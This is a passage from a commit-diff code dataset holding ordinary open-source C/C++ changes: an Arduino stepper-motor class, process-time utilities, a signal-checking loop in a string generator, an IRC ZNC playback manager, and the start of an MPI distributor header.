Serial.println(_goToStep);\n#endif \n if(_currentStep==_goToStep){\n _status=0;\n _counter=0;\n \/\/check next run\n \n int nextStep = popToStepQueue();\n if(nextStep != emptyQueue ){\n goToStep(nextStep);\n _status=1;\n }\n return;\n }\n char ret[100];\n#ifdef __DEBUG__\n sprintf(ret,\"currentStep:%d,gotostep:%d\",_currentStep,_goToStep);\n Serial.println(ret);\n#endif\n\n if(_position){\n low();\n _position=false;\n _counter++;\n }\n else{\n high();\n _position=true;\n _counter++;\n }\n}\n\nvoid TroyMotor::run(){\n if(_isReset){\n step();\n }\n else{\n\n reseting();\n }\n\n\n}\n\nvoid TroyMotor::high(){\n if(_direction>0){\n digitalWrite(_pin,HIGH);\n }\n else{\n digitalWrite(_pin2,HIGH);\n }\n\n}\nvoid TroyMotor::low(){\n if(_direction>0){\n digitalWrite(_pin,LOW);\n }\n else{\n digitalWrite(_pin2,LOW);\n }\n}\nvoid TroyMotor::reseting(){\n int val = analogRead(5);\n if(val==0){\n Serial.print(\"reset step\");\n Serial.println(_currentStep);\n\n _isReset=true;\n _currentStep=0;\n _goToStep=0;\n _position=false;\n _counter=0;\n _status=0;\n\n }\n else{\n step();\n }\n}\n\nvoid TroyMotor::reset(){\n _isReset=false;\n _status=1;\n _goToStep=3000; \/\/ give hung steps\n}\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*******************************\nCopyright (c) 2016-2017 Grégoire Angerand\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n**********************************\/\n#include \"os.h\"\n#include \"os_win.h\"\n\n#include <y\/utils.h>\n\n#include <iostream>\n\nnamespace y {\nnamespace os {\n\nusize pid() {\n\t#ifdef Y_OS_WIN\n\treturn GetCurrentProcessId();\n\t#else\n\treturn getpid();\n\t#endif\n}\n\nMemInfo phys_mem_info() {\n\t#ifdef Y_OS_WIN\n\tMEMORYSTATUSEX info;\n\tinfo.dwLength = sizeof(info);\n\tGlobalMemoryStatusEx(&info);\n\treturn MemInfo { info.ullTotalPhys, info.ullAvailPhys };\n\t#else\n\treturn MemInfo { 0, 0 };\n\t#endif\n}\n\nusize mem_usage() {\n\t#if defined(Y_OS_WIN) && !defined(Y_NO_PSAPI)\n\tPROCESS_MEMORY_COUNTERS info;\n\tinfo.cb = sizeof(info);\n\treturn windows::GetProcessMemoryInfo_func()(GetCurrentProcess(), &info, DWORD(sizeof(info))) ? info.WorkingSetSize : 0;\n\t#else\n\treturn 0;\n\t#endif\n}\n\n\nu64 get_user_time_ns() {\n\t#ifdef Y_OS_WIN\n\tFILETIME time;\n\tFILETIME garbage;\n\tGetProcessTimes(GetCurrentProcess(), &garbage, &garbage, &garbage, &time);\n\treturn windows::filetime_to_ns(time);\n\t#else\n\treturn 0;\n\t#endif\n}\n\nu64 get_kernel_time_ns() {\n\t#ifdef Y_OS_WIN\n\tFILETIME time;\n\tFILETIME garbage;\n\tGetProcessTimes(GetCurrentProcess(), &garbage, &garbage, &time,&garbage);\n\treturn windows::filetime_to_ns(time);\n\t#else\n\treturn 0;\n\t#endif\n}\n\nAppTimes get_times_ns() {\n\t#ifdef Y_OS_WIN\n\tFILETIME user;\n\tFILETIME kernel;\n\tFILETIME garbage;\n\tGetProcessTimes(GetCurrentProcess(), &garbage, &garbage, &kernel, &user);\n\treturn AppTimes { windows::filetime_to_ns(kernel), windows::filetime_to_ns(user) };\n\t#else\n\treturn AppTimes { 0, 0 };\n\t#endif\n}\n\n}\n\n}\n\n\n#ifdef Y_OS_WIN\n\n\/*y_on_startup() {\n\tSetConsoleOutputCP(CP_UTF8);\n}*\/\n\n#endif\n<commit_msg>Fix missing include<commit_after>\/*******************************\nCopyright (c) 2016-2017 Grégoire Angerand\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n**********************************\/\n#include \"os.h\"\n#include \"os_win.h\"\n#include \"os_linux.h\"\n\n#include <y\/utils.h>\n\n#include <iostream>\n\nnamespace y {\nnamespace os {\n\nusize pid() {\n\t#ifdef Y_OS_WIN\n\treturn GetCurrentProcessId();\n\t#else\n\treturn getpid();\n\t#endif\n}\n\nMemInfo phys_mem_info() {\n\t#ifdef Y_OS_WIN\n\tMEMORYSTATUSEX info;\n\tinfo.dwLength = sizeof(info);\n\tGlobalMemoryStatusEx(&info);\n\treturn MemInfo { info.ullTotalPhys, info.ullAvailPhys };\n\t#else\n\treturn MemInfo { 0, 0 };\n\t#endif\n}\n\nusize mem_usage() {\n\t#if defined(Y_OS_WIN) && !defined(Y_NO_PSAPI)\n\tPROCESS_MEMORY_COUNTERS info;\n\tinfo.cb = sizeof(info);\n\treturn windows::GetProcessMemoryInfo_func()(GetCurrentProcess(), &info, DWORD(sizeof(info))) ? info.WorkingSetSize : 0;\n\t#else\n\treturn 0;\n\t#endif\n}\n\n\nu64 get_user_time_ns() {\n\t#ifdef Y_OS_WIN\n\tFILETIME time;\n\tFILETIME garbage;\n\tGetProcessTimes(GetCurrentProcess(), &garbage, &garbage, &garbage, &time);\n\treturn windows::filetime_to_ns(time);\n\t#else\n\treturn 0;\n\t#endif\n}\n\nu64 get_kernel_time_ns() {\n\t#ifdef Y_OS_WIN\n\tFILETIME time;\n\tFILETIME garbage;\n\tGetProcessTimes(GetCurrentProcess(), &garbage, &garbage, &time,&garbage);\n\treturn windows::filetime_to_ns(time);\n\t#else\n\treturn 0;\n\t#endif\n}\n\nAppTimes get_times_ns() {\n\t#ifdef Y_OS_WIN\n\tFILETIME user;\n\tFILETIME kernel;\n\tFILETIME garbage;\n\tGetProcessTimes(GetCurrentProcess(), &garbage, &garbage, &kernel, &user);\n\treturn AppTimes { windows::filetime_to_ns(kernel), windows::filetime_to_ns(user) };\n\t#else\n\treturn AppTimes { 0, 0 };\n\t#endif\n}\n\n}\n\n}\n\n\n#ifdef Y_OS_WIN\n\n\/*y_on_startup() {\n\tSetConsoleOutputCP(CP_UTF8);\n}*\/\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013-2014, Robert Escriva\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Ygor nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ C\n#include <signal.h>\n\n\/\/ STL\n#include <memory>\n\n\/\/ e\n#include <e\/popt.h>\n\n\/\/ armnod\n#include \"ygor.h\"\n\nint\nmain(int argc, const char* argv[])\n{\n e::argparser ap;\n std::auto_ptr<armnod_argparser> apl(armnod_argparser::create(\"\"));\n ap.autohelp();\n ap.add(\"Generator:\", apl->parser());\n\n if (!ap.parse(argc, argv))\n {\n return EXIT_FAILURE;\n }\n\n if (ap.args_sz() > 0)\n {\n ap.usage();\n std::cerr << \"\\nerror: command takes no positional arguments\" << std::endl;\n return EXIT_FAILURE;\n }\n\n sigset_t mask;\n sigfillset(&mask);\n sigdelset(&mask, SIGPROF);\n sigprocmask(SIG_SETMASK, &mask, NULL);\n armnod_generator* gen(armnod_generator_create(apl->config()));\n\n for (uint64_t i = 0; ; ++i)\n {\n if ((i & 0xffff) == 0)\n {\n sigpending(&mask);\n\n if (sigismember(&mask, SIGHUP) ||\n sigismember(&mask, SIGINT) ||\n sigismember(&mask, SIGTERM) ||\n sigismember(&mask, SIGPIPE) ||\n sigismember(&mask, SIGKILL))\n {\n break;\n }\n }\n\n const char* string = armnod_generate(gen);\n\n if (!string)\n {\n break;\n }\n\n printf(\"%s\\n\", string);\n }\n\n armnod_generator_destroy(gen);\n return EXIT_SUCCESS;\n}\n<commit_msg>Respond to signals faster in \"ygor armnod\"<commit_after>\/\/ Copyright (c) 2013-2014, Robert Escriva\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Ygor nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ C\n#include <signal.h>\n\n\/\/ STL\n#include <memory>\n\n\/\/ e\n#include <e\/popt.h>\n\n\/\/ armnod\n#include \"ygor.h\"\n\nint\nmain(int argc, const char* argv[])\n{\n e::argparser ap;\n std::auto_ptr<armnod_argparser> apl(armnod_argparser::create(\"\"));\n ap.autohelp();\n ap.add(\"Generator:\", apl->parser());\n\n if (!ap.parse(argc, argv))\n {\n return EXIT_FAILURE;\n }\n\n if (ap.args_sz() > 0)\n {\n ap.usage();\n std::cerr << \"\\nerror: command takes no positional arguments\" << std::endl;\n return EXIT_FAILURE;\n }\n\n sigset_t mask;\n sigfillset(&mask);\n sigdelset(&mask, SIGPROF);\n sigprocmask(SIG_SETMASK, &mask, NULL);\n armnod_generator* gen(armnod_generator_create(apl->config()));\n\n for (uint64_t i = 0; ; ++i)\n {\n if ((i & 0xf) == 0)\n {\n sigpending(&mask);\n\n if (sigismember(&mask, SIGHUP) ||\n sigismember(&mask, SIGINT) ||\n sigismember(&mask, SIGTERM) ||\n sigismember(&mask, SIGPIPE) ||\n sigismember(&mask, SIGKILL))\n {\n break;\n }\n }\n\n const char* string = armnod_generate(gen);\n\n if (!string)\n {\n break;\n }\n\n printf(\"%s\\n\", string);\n }\n\n armnod_generator_destroy(gen);\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (C) 2008-2015 The Communi Project\n\n You may use this file under the terms of BSD license as follows:\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n * Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"zncmanager.h\"\n#include \"ignoremanager.h\"\n#include <ircbuffermodel.h>\n#include <ircconnection.h>\n#include <irccommand.h>\n#include <ircmessage.h>\n#include <ircbuffer.h>\n\nIRC_USE_NAMESPACE\n\nZncManager::ZncManager(QObject* parent) : QObject(parent)\n{\n d.model = 0;\n d.timestamp = QDateTime::fromTime_t(0);\n setModel(qobject_cast<IrcBufferModel*>(parent));\n}\n\nZncManager::~ZncManager()\n{\n}\n\nIrcBufferModel* ZncManager::model() const\n{\n return d.model;\n}\n\nvoid ZncManager::setModel(IrcBufferModel* model)\n{\n if (d.model != model) {\n if (d.model && d.model->connection()) {\n IrcConnection* connection = d.model->connection();\n disconnect(connection, SIGNAL(connected()), this, SLOT(requestPlayback()));\n connection->removeMessageFilter(this);\n disconnect(model, SIGNAL(removed(IrcBuffer*)), this, SLOT(clearBuffer(IrcBuffer*)));\n }\n d.model = model;\n if (d.model && d.model->connection()) {\n IrcNetwork* network = d.model->network();\n QStringList caps = network->requestedCapabilities();\n caps += \"batch\";\n caps += \"server-time\";\n caps += \"echo-message\";\n caps += \"znc.in\/batch\";\n caps += \"znc.in\/playback\";\n caps += \"znc.in\/server-time\";\n caps += \"znc.in\/echo-message\";\n caps += \"znc.in\/server-time-iso\";\n network->setRequestedCapabilities(caps);\n\n IrcConnection* connection = d.model->connection();\n connect(connection, SIGNAL(connected()), this, SLOT(requestPlayback()));\n connection->installMessageFilter(this);\n connect(model, SIGNAL(removed(IrcBuffer*)), this, SLOT(clearBuffer(IrcBuffer*)));\n }\n emit modelChanged(model);\n }\n}\n\nbool ZncManager::messageFilter(IrcMessage* message)\n{\n if (message->connection()->isConnected() && message->tags().contains(\"time\")) {\n QDateTime timestamp = message->tags().value(\"time\").toDateTime();\n if (timestamp.isValid()) {\n message->setTimeStamp(timestamp.toTimeSpec(Qt::LocalTime));\n d.timestamp = qMax(timestamp, d.timestamp);\n }\n }\n\n if (message->type() == IrcMessage::Batch) {\n IrcBatchMessage* batch = static_cast<IrcBatchMessage*>(message);\n if (batch->batch() == \"znc.in\/playback\") {\n IrcBuffer* buffer = d.model->add(batch->parameters().value(2));\n foreach (IrcMessage* msg, batch->messages()) {\n msg->setFlags(msg->flags() | IrcMessage::Playback);\n if (msg->type() == IrcMessage::Private)\n processMessage(static_cast<IrcPrivateMessage*>(msg));\n }\n buffer->receiveMessage(batch);\n return true;\n }\n }\n\n return IgnoreManager::instance()->messageFilter(message);\n}\n\nvoid ZncManager::processMessage(IrcPrivateMessage* message)\n{\n if (message->nick() == \"*buffextras\") {\n const QString msg = message->content();\n const int idx = msg.indexOf(\" \");\n const QString prefix = msg.left(idx);\n const QString content = msg.mid(idx + 1);\n\n message->setPrefix(prefix);\n if (content.startsWith(\"joined\")) {\n message->setTag(\"intent\", \"JOIN\");\n message->setParameters(QStringList() << message->target());\n } else if (content.startsWith(\"parted\")) {\n message->setTag(\"intent\", \"PART\");\n QString reason = content.mid(content.indexOf(\"[\") + 1);\n reason.chop(1);\n message->setParameters(QStringList() << message->target() << reason);\n } else if (content.startsWith(\"quit\")) {\n message->setTag(\"intent\", \"QUIT\");\n QString reason = content.mid(content.indexOf(\"[\") + 1);\n reason.chop(1);\n message->setParameters(QStringList() << reason);\n } else if (content.startsWith(\"is\")) {\n message->setTag(\"intent\", \"NICK\");\n const QStringList tokens = content.split(\" \", QString::SkipEmptyParts);\n message->setParameters(QStringList() << tokens.last());\n } else if (content.startsWith(\"set\")) {\n message->setTag(\"intent\", \"MODE\");\n QStringList tokens = content.split(\" \", QString::SkipEmptyParts);\n const QString user = tokens.takeLast();\n const QString mode = tokens.takeLast();\n message->setParameters(QStringList() << message->target() << mode << user);\n } else if (content.startsWith(\"changed\")) {\n message->setTag(\"intent\", \"TOPIC\");\n const QString topic = content.mid(content.indexOf(\":\") + 2);\n message->setParameters(QStringList() << message->target() << topic);\n } else if (content.startsWith(\"kicked\")) {\n message->setTag(\"intent\", \"KICK\");\n QString reason = content.mid(content.indexOf(\"[\") + 1);\n reason.chop(1);\n QStringList tokens = content.split(\" \", QString::SkipEmptyParts);\n message->setParameters(QStringList() << message->target() << tokens.value(1) << reason);\n }\n }\n}\n\nvoid ZncManager::requestPlayback()\n{\n if (d.model->network()->isCapable(\"znc.in\/playback\")) {\n IrcConnection* connection = d.model->connection();\n IrcCommand* cmd = IrcCommand::createMessage(\"*playback\", QString(\"PLAY * %1\").arg(d.timestamp.isValid() ? d.timestamp.toTime_t() : 0));\n cmd->setParent(this);\n connection->sendCommand(cmd);\n }\n}\n\nvoid ZncManager::clearBuffer(IrcBuffer* buffer)\n{\n if (d.model->network()->isCapable(\"znc.in\/playback\") && !buffer->title().contains(\"*\"))\n buffer->sendCommand(IrcCommand::createMessage(\"*playback\", QString(\"CLEAR %1\").arg(buffer->title())));\n}\n<commit_msg>ZncManager: remove server-time parsing (was promoted to libcommuni)<commit_after>\/*\n Copyright (C) 2008-2015 The Communi Project\n\n You may use this file under the terms of BSD license as follows:\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n * Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"zncmanager.h\"\n#include \"ignoremanager.h\"\n#include <ircbuffermodel.h>\n#include <ircconnection.h>\n#include <irccommand.h>\n#include <ircmessage.h>\n#include <ircbuffer.h>\n\nIRC_USE_NAMESPACE\n\nZncManager::ZncManager(QObject* parent) : QObject(parent)\n{\n d.model = 0;\n d.timestamp = QDateTime::fromTime_t(0);\n setModel(qobject_cast<IrcBufferModel*>(parent));\n}\n\nZncManager::~ZncManager()\n{\n}\n\nIrcBufferModel* ZncManager::model() const\n{\n return d.model;\n}\n\nvoid ZncManager::setModel(IrcBufferModel* model)\n{\n if (d.model != model) {\n if (d.model && d.model->connection()) {\n IrcConnection* connection = d.model->connection();\n disconnect(connection, SIGNAL(connected()), this, SLOT(requestPlayback()));\n connection->removeMessageFilter(this);\n disconnect(model, SIGNAL(removed(IrcBuffer*)), this, SLOT(clearBuffer(IrcBuffer*)));\n }\n d.model = model;\n if (d.model && d.model->connection()) {\n IrcNetwork* network = d.model->network();\n QStringList caps = network->requestedCapabilities();\n caps += \"batch\";\n caps += \"server-time\";\n caps += \"echo-message\";\n caps += \"znc.in\/batch\";\n caps += \"znc.in\/playback\";\n caps += \"znc.in\/server-time\";\n caps += \"znc.in\/echo-message\";\n caps += \"znc.in\/server-time-iso\";\n network->setRequestedCapabilities(caps);\n\n IrcConnection* connection = d.model->connection();\n connect(connection, SIGNAL(connected()), this, SLOT(requestPlayback()));\n connection->installMessageFilter(this);\n connect(model, SIGNAL(removed(IrcBuffer*)), this, SLOT(clearBuffer(IrcBuffer*)));\n }\n emit modelChanged(model);\n }\n}\n\nbool ZncManager::messageFilter(IrcMessage* message)\n{\n if (message->connection()->isConnected())\n d.timestamp = qMax(d.timestamp, message->timeStamp());\n\n if (message->type() == IrcMessage::Batch) {\n IrcBatchMessage* batch = static_cast<IrcBatchMessage*>(message);\n if (batch->batch() == \"znc.in\/playback\") {\n IrcBuffer* buffer = d.model->add(batch->parameters().value(2));\n foreach (IrcMessage* msg, batch->messages()) {\n msg->setFlags(msg->flags() | IrcMessage::Playback);\n if (msg->type() == IrcMessage::Private)\n processMessage(static_cast<IrcPrivateMessage*>(msg));\n }\n buffer->receiveMessage(batch);\n return true;\n }\n }\n\n return IgnoreManager::instance()->messageFilter(message);\n}\n\nvoid ZncManager::processMessage(IrcPrivateMessage* message)\n{\n if (message->nick() == \"*buffextras\") {\n const QString msg = message->content();\n const int idx = msg.indexOf(\" \");\n const QString prefix = msg.left(idx);\n const QString content = msg.mid(idx + 1);\n\n message->setPrefix(prefix);\n if (content.startsWith(\"joined\")) {\n message->setTag(\"intent\", \"JOIN\");\n message->setParameters(QStringList() << message->target());\n } else if (content.startsWith(\"parted\")) {\n message->setTag(\"intent\", \"PART\");\n QString reason = content.mid(content.indexOf(\"[\") + 1);\n reason.chop(1);\n message->setParameters(QStringList() << message->target() << reason);\n } else if (content.startsWith(\"quit\")) {\n message->setTag(\"intent\", \"QUIT\");\n QString reason = content.mid(content.indexOf(\"[\") + 1);\n reason.chop(1);\n message->setParameters(QStringList() << reason);\n } else if (content.startsWith(\"is\")) {\n message->setTag(\"intent\", \"NICK\");\n const QStringList tokens = content.split(\" \", QString::SkipEmptyParts);\n message->setParameters(QStringList() << tokens.last());\n } else if (content.startsWith(\"set\")) {\n message->setTag(\"intent\", \"MODE\");\n QStringList tokens = content.split(\" \", QString::SkipEmptyParts);\n const QString user = tokens.takeLast();\n const QString mode = tokens.takeLast();\n message->setParameters(QStringList() << message->target() << mode << user);\n } else if (content.startsWith(\"changed\")) {\n message->setTag(\"intent\", \"TOPIC\");\n const QString topic = content.mid(content.indexOf(\":\") + 2);\n message->setParameters(QStringList() << message->target() << topic);\n } else if (content.startsWith(\"kicked\")) {\n message->setTag(\"intent\", \"KICK\");\n QString reason = content.mid(content.indexOf(\"[\") + 1);\n reason.chop(1);\n QStringList tokens = content.split(\" \", QString::SkipEmptyParts);\n message->setParameters(QStringList() << message->target() << tokens.value(1) << reason);\n }\n }\n}\n\nvoid ZncManager::requestPlayback()\n{\n if (d.model->network()->isCapable(\"znc.in\/playback\")) {\n IrcConnection* connection = d.model->connection();\n IrcCommand* cmd = IrcCommand::createMessage(\"*playback\", QString(\"PLAY * %1\").arg(d.timestamp.isValid() ? d.timestamp.toTime_t() : 0));\n cmd->setParent(this);\n connection->sendCommand(cmd);\n }\n}\n\nvoid ZncManager::clearBuffer(IrcBuffer* buffer)\n{\n if (d.model->network()->isCapable(\"znc.in\/playback\") && !buffer->title().contains(\"*\"))\n buffer->sendCommand(IrcCommand::createMessage(\"*playback\", QString(\"CLEAR %1\").arg(buffer->title())));\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n * Copyright (c) 2012-2018 by the DataTransferKit authors *\n * All rights reserved. *\n * *\n * This file is part of the DataTransferKit library. DataTransferKit is *\n * distributed under a BSD 3-clause license. For the licensing terms see *\n * the LICENSE file in the top-level directory. *\n * *\n * SPDX-License-Identifier: BSD-3-Clause *\n ****************************************************************************\/\n#ifndef DTK_DETAILS_DISTRIBUTOR_HPP\n#define DTK_DETAILS_DISTRIBUTOR_HPP\n\n#include <Teuchos_ArrayView.hpp>\n#include <Tpetra_Distributor.hpp>\n\n#include <Kokkos_Parallel.hpp>\n\n#include <mpi.h>\n\n#include <algorithm>\n\n#define REORDER_RECV YES\n\nnamespace DataTransferKit\n{\nnamespace Details\n{\n\n\/\/ clang-format off\n\/\/ copy\/paste from https:\/\/github.com\/kokkos\/kokkos-tutorials\/blob\/ee619447cee9e57b831e34b151d0868958b6b1e5\/Intro-Full\/Exercises\/mpi_exch\/mpi_exch.cpp\n\/\/ * added Experimental nested namespace qualifier for Max\n\/\/ * declared function static to avoid multiple definition error at link time\n\/\/ * return early if input argument is empty\n\/\/ * replace parallel_reduce with std::max_element because I couldn't get it to compile\n\/\/ * append size to offsets in main driver but might want to handle it here\nstatic void extract_and_sort_ranks(\n Kokkos::View<int*, Kokkos::HostSpace> destination_ranks,\n Kokkos::View<int*, Kokkos::HostSpace> permutation,\n std::vector<int>& unique_ranks,\n std::vector<int>& offsets,\n std::vector<int>& counts) {\n int mpi_rank;\n MPI_Comm_rank(MPI_COMM_WORLD, &mpi_rank);\n auto n = destination_ranks.extent(0);\nif ( n == 0 ) return;\n using ST = decltype(n);\n Kokkos::View<int*, Kokkos::HostSpace> tmp_ranks(\"tmp ranks\", destination_ranks.extent(0));\n Kokkos::deep_copy(tmp_ranks, destination_ranks);\n int offset = 0;\n \/\/ this implements a \"sort\" which is O(N * R) where (R) is\n \/\/ the total number of unique destination ranks.\n \/\/ it performs better than other algorithms in\n \/\/ the case when (R) is small, but results may vary\n while (true) {\n int next_biggest_rank;\n \/\/Kokkos::parallel_reduce(\"find next biggest rank\", n, KOKKOS_LAMBDA(ST i, int& local_max) {\n \/\/ auto r = tmp_ranks(i);\n \/\/ local_max = (r > local_max) ? r : local_max;\n \/\/}, Kokkos::Experimental::Max<int, Kokkos::HostSpace>(next_biggest_rank));\n next_biggest_rank = *std::max_element(tmp_ranks.data(), tmp_ranks.data() + n);\n if (next_biggest_rank == -1) break;\n unique_ranks.push_back(next_biggest_rank);\n offsets.push_back(offset);\n Kokkos::View<int, Kokkos::HostSpace> total(\"total\");\n Kokkos::parallel_scan(\"process biggest rank items\", Kokkos::RangePolicy<Kokkos::Serial>(0, n),\n KOKKOS_LAMBDA(ST i, int& index, const bool last_pass) 